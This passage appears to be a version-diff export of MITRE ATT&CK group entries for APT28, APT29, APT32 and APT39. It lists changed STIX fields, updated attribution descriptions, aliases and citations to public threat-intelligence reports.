| external_references[20]['source_name'] | GRIZZLY STEPPE JAR | FireEye APT28 January 2017 |
| external_references[20]['description'] | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. |
| external_references[20]['url'] | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
| external_references[21]['source_name'] | Sofacy DealersChoice | GRIZZLY STEPPE JAR |
| external_references[21]['description'] | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. |
| external_references[21]['url'] | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf |
| external_references[22]['source_name'] | Palo Alto Sofacy 06-2018 | Sofacy DealersChoice |
| external_references[22]['description'] | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. |
| external_references[22]['url'] | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ |
| external_references[23]['source_name'] | Symantec APT28 Oct 2018 | Palo Alto Sofacy 06-2018 |
| external_references[23]['description'] | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. |
| external_references[23]['url'] | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
| external_references[24]['source_name'] | ESET Zebrocy May 2019 | Symantec APT28 Oct 2018 |
| external_references[24]['description'] | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. |
| external_references[24]['url'] | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government |
| external_references[25]['source_name'] | US District Court Indictment GRU Oct 2018 | ESET Zebrocy May 2019 |
| external_references[25]['description'] | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. |
| external_references[25]['url'] | https://www.justice.gov/opa/page/file/1098481/download | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ |
| external_references[26]['source_name'] | Kaspersky Sofacy | US District Court Indictment GRU Oct 2018 |
| external_references[26]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[26]['url'] | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[27]['source_name'] | ESET Sednit Part 3 | Kaspersky Sofacy |
| external_references[27]['description'] | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. |
| external_references[27]['url'] | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ |
| external_references[28]['source_name'] | Talos Seduploader Oct 2017 | ESET Sednit Part 3 |
| external_references[28]['description'] | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. |
| external_references[28]['url'] | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf |
| external_references[29]['source_name'] | Securelist Sofacy Feb 2018 | Talos Seduploader Oct 2017 |
| external_references[29]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. |
| external_references[29]['url'] | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html |
| external_references[30]['source_name'] | Accenture SNAKEMACKEREL Nov 2018 | Securelist Sofacy Feb 2018 |
| external_references[30]['description'] | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. |
| external_references[30]['url'] | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ |
| external_references[31]['source_name'] | Microsoft STRONTIUM Aug 2019 | Accenture SNAKEMACKEREL Nov 2018 |
| external_references[31]['description'] | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. |
| external_references[31]['url'] | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 |
| external_references[32]['source_name'] | Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020 | TrendMicro Pawn Storm Dec 2020 |
| external_references[32]['description'] | Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020. | Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021. |
| external_references[32]['url'] | https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/ | https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html |
| x_mitre_version | 3.0 | 3.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft STRONTIUM Aug 2019', 'description': 'MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019.', 'url': 'https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/'} | |
| external_references | {'source_name': 'Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.', 'url': 'https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/'} |
Current version: 2.1
Version changed from: 1.4 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT29](https://attack.mitre.org/groups/G0016) is threat gro | t | 1 | [APT29](https://attack.mitre.org/groups/G0016) is threat gro |
| > | up that has been attributed to the Russian government and ha | > | up that has been attributed to Russia's Foreign Intelligence | ||
| > | s operated since at least 2008. (Citation: F-Secure The Duke | > | Service (SVR).(Citation: White House Imposing Costs RU Gov | ||
| > | s) (Citation: GRIZZLY STEPPE JAR) This group reportedly comp | > | April 2021)(Citation: UK Gov Malign RIS Activity April 2021) | ||
| > | romised the Democratic National Committee starting in the su | > | They have operated since at least 2008, often targeting gov | ||
| > | mmer of 2015. (Citation: Crowdstrike DNC June 2016) | > | ernment networks in Europe and NATO member countries, resear | ||
| > | ch institutes, and think tanks. [APT29](https://attack.mitre | ||||
| > | .org/groups/G0016) reportedly compromised the Democratic Nat | ||||
| > | ional Committee starting in the summer of 2015.(Citation: F- | ||||
| > | Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Cr | ||||
| > | owdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia | ||||
| > | SolarWinds April 2021) In April 2021, the US and UK governm | ||||
| > | ents attributed the SolarWinds supply chain compromise cyber | ||||
| > | operation to the SVR; public statements included citations | ||||
| > | to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear | ||||
| > | , and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds | ||||
| > | April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) | ||||
| > | Victims of this campaign included government, consulting, t | ||||
| > | echnology, telecom, and other organizations in North America | ||||
| > | , Europe, Asia, and the Middle East. Industry reporting refe | ||||
| > | rred to the actors involved in this campaign as UNC2452, NOB | ||||
| > | ELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUN | ||||
| > | BURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2 | ||||
| > | 021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Cit | ||||
| > | ation: Volexity SolarWinds)(Citation: Cybersecurity Advisory | ||||
| > | SVR TTP May 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Daniyal Naeem, BT Security', 'Matt Brenton, Zurich Insurance Group', 'Katie Nickels, Red Canary'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf | |
| external_references | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf | |
| external_references | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ | |
| external_references | https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html | |
| external_references | https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 19:06:15.392000+00:00 | 2021-10-16 00:59:58.792000+00:00 |
| description | [APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016) | [APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021) In April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[1]['description'] | (Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) | (Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[2]['source_name'] | YTTRIUM | NobleBaron |
| external_references[2]['description'] | (Citation: Microsoft Unidentified Dec 2018) | (Citation: SentinelOne NobleBaron June 2021) |
| external_references[3]['source_name'] | The Dukes | Dark Halo |
| external_references[3]['description'] | (Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) | (Citation: Volexity SolarWinds) |
| external_references[4]['source_name'] | Cozy Bear | StellarParticle |
| external_references[4]['description'] | (Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) | (Citation: CrowdStrike SUNSPOT Implant January 2021) |
| external_references[5]['source_name'] | CozyDuke | NOBELIUM |
| external_references[5]['description'] | (Citation: Crowdstrike DNC June 2016) | (Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021) |
| external_references[6]['source_name'] | F-Secure The Dukes | UNC2452 |
| external_references[6]['description'] | F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015. | (Citation: FireEye SUNBURST Backdoor December 2020) |
| external_references[7]['source_name'] | GRIZZLY STEPPE JAR | YTTRIUM |
| external_references[7]['description'] | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. | (Citation: Microsoft Unidentified Dec 2018) |
| external_references[8]['source_name'] | Crowdstrike DNC June 2016 | The Dukes |
| external_references[8]['description'] | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. | (Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[9]['source_name'] | FireEye APT29 Nov 2018 | Cozy Bear |
| external_references[9]['description'] | Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018. | (Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[10]['source_name'] | ESET Dukes October 2019 | CozyDuke |
| external_references[10]['description'] | Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020. | (Citation: Crowdstrike DNC June 2016) |
| external_references[11]['source_name'] | NCSC APT29 July 2020 | White House Imposing Costs RU Gov April 2021 |
| external_references[11]['description'] | National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020. | White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021. |
| external_references[11]['url'] | https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf | https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/ |
| external_references[12]['source_name'] | Microsoft Unidentified Dec 2018 | UK Gov Malign RIS Activity April 2021 |
| external_references[12]['description'] | Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019. | UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021. |
| external_references[12]['url'] | https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/ | https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services |
| x_mitre_version | 1.4 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | NobleBaron | |
| aliases | Dark Halo | |
| aliases | StellarParticle | |
| aliases | NOBELIUM | |
| aliases | UNC2452 | |
| external_references | {'source_name': 'F-Secure The Dukes', 'description': 'F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.', 'url': 'https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf'} | |
| external_references | {'source_name': 'GRIZZLY STEPPE JAR', 'description': 'Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017.', 'url': 'https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf'} | |
| external_references | {'source_name': 'Crowdstrike DNC June 2016', 'description': 'Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.', 'url': 'https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/'} | |
| external_references | {'source_name': 'UK Gov UK Exposes Russia SolarWinds April 2021', 'description': 'UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021.', 'url': 'https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise'} | |
| external_references | {'source_name': 'NSA Joint Advisory SVR SolarWinds April 2021', 'description': 'NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.', 'url': 'https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF'} | |
| external_references | {'source_name': 'UK NSCS Russia SolarWinds April 2021', 'description': 'UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.', 'url': 'https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise'} | |
| external_references | {'source_name': 'FireEye SUNBURST Backdoor December 2020', 'description': 'FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html'} | |
| external_references | {'source_name': 'MSTIC NOBELIUM Mar 2021', 'description': 'Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/'} | |
| external_references | {'source_name': 'CrowdStrike SUNSPOT Implant January 2021', 'description': 'CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.', 'url': 'https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/'} | |
| external_references | {'source_name': 'Volexity SolarWinds', 'description': 'Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.', 'url': 'https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/'} | |
| external_references | {'source_name': 'Cybersecurity Advisory SVR TTP May 2021', 'description': 'NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.', 'url': 'https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf'} | |
| external_references | {'source_name': 'FireEye APT29 Nov 2018', 'description': 'Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html'} | |
| external_references | {'source_name': 'ESET Dukes October 2019', 'description': 'Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf'} | |
| external_references | {'source_name': 'NCSC APT29 July 2020', 'description': 'National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.', 'url': 'https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf'} | |
| external_references | {'source_name': 'SentinelOne NobleBaron June 2021', 'description': 'Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.', 'url': 'https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/'} | |
| external_references | {'source_name': 'MSTIC NOBELIUM May 2021', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/'} | |
| external_references | {'source_name': 'MSTIC Nobelium Toolset May 2021', 'description': 'MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/'} | |
| external_references | {'source_name': 'MSRC Nobelium June 2021', 'description': 'MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.', 'url': 'https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/'} | |
| external_references | {'source_name': 'Microsoft Unidentified Dec 2018', 'description': 'Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.', 'url': 'https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/'} |
Current version: 2.5
Version changed from: 2.3 → 2.5
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT32](https://attack.mitre.org/groups/G0050) is a threat g | t | 1 | [APT32](https://attack.mitre.org/groups/G0050) is a suspecte |
| > | roup that has been active since at least 2014. The group has | > | d Vietnam-based threat group that has been active since at l | ||
| > | targeted multiple private sector industries as well as with | > | east 2014. The group has targeted multiple private sector in | ||
| > | foreign governments, dissidents, and journalists with a str | > | dustries as well as foreign governments, dissidents, and jou | ||
| > | ong focus on Southeast Asian countries like Vietnam, the Phi | > | rnalists with a strong focus on Southeast Asian countries li | ||
| > | lippines, Laos, and Cambodia. They have extensively used str | > | ke Vietnam, the Philippines, Laos, and Cambodia. They have e | ||
| > | ategic web compromises to compromise victims. The group is b | > | xtensively used strategic web compromises to compromise vict | ||
| > | elieved to be Vietnam-based.(Citation: FireEye APT32 May 201 | > | ims.(Citation: FireEye APT32 May 2017)(Citation: Volexity Oc | ||
| > | 7)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET Oc | > | eanLotus Nov 2017)(Citation: ESET OceanLotus) | ||
| > | eanLotus) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-29 21:45:34.984000+00:00 | 2021-10-14 16:39:50.790000+00:00 |
| description | [APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus) | [APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus) |
| external_references[1]['description'] | (Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017) | (Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021) |
| external_references[3]['description'] | (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017) | (Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021) |
| external_references[4]['description'] | (Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017) | (Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021) |
| x_mitre_version | 2.3 | 2.5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET OceanLotus Mar 2019', 'description': 'Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.', 'url': 'https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/'} | |
| external_references | {'source_name': 'Amnesty Intl. Ocean Lotus February 2021', 'description': 'Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.', 'url': 'https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf'} |
Current version: 3.1
Version changed from: 2.3 → 3.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT39](https://attack.mitre.org/groups/G0087) is an Iranian | t | 1 | [APT39](https://attack.mitre.org/groups/G0087) is one of sev |
| > | cyber espionage group that has been active since at least 2 | > | eral names for cyberespionage activity conducted by the Iran | ||
| > | 014. They have targeted the telecommunication and travel ind | > | ian Ministry of Intelligence and Security (MOIS) through the | ||
| > | ustries to collect personal information that aligns with Ira | > | front company Rana Intelligence Computing since at least 20 | ||
| > | n's national priorities. (Citation: FireEye APT39 Jan 2019)( | > | 14. [APT39](https://attack.mitre.org/groups/G0087) has prima | ||
| > | Citation: Symantec Chafer Dec 2015) | > | rily targeted the travel, hospitality, academic, and telecom | ||
| > | munications industries in Iran and across Asia, Africa, Euro | ||||
| > | pe, and North America to track individuals and entities cons | ||||
| > | idered to be a threat by the MOIS.(Citation: FireEye APT39 J | ||||
| > | an 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI F | ||||
| > | LASH APT39 September 2020)(Citation: Dept. of Treasury Iran | ||||
| > | Sanctions September 2020)(Citation: DOJ Iran Indictments Sep | ||||
| > | tember 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html | |
| external_references | https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-11 15:46:26.496000+00:00 | 2021-10-12 23:08:30.844000+00:00 |
| description | [APT39](https://attack.mitre.org/groups/G0087) is an Iranian cyber espionage group that has been active since at least 2014. They have targeted the telecommunication and travel industries to collect personal information that aligns with Iran's national priorities. (Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015) | [APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyberespionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020) |
| external_references[1]['description'] | (Citation: FireEye APT39 Jan 2019) | (Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020) |
| external_references[2]['source_name'] | Chafer | REMIX KITTEN |
| external_references[2]['description'] | Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019) | (Citation: Crowdstrike GTR2020 Mar 2020) |
| external_references[3]['source_name'] | FireEye APT39 Jan 2019 | ITG07 |
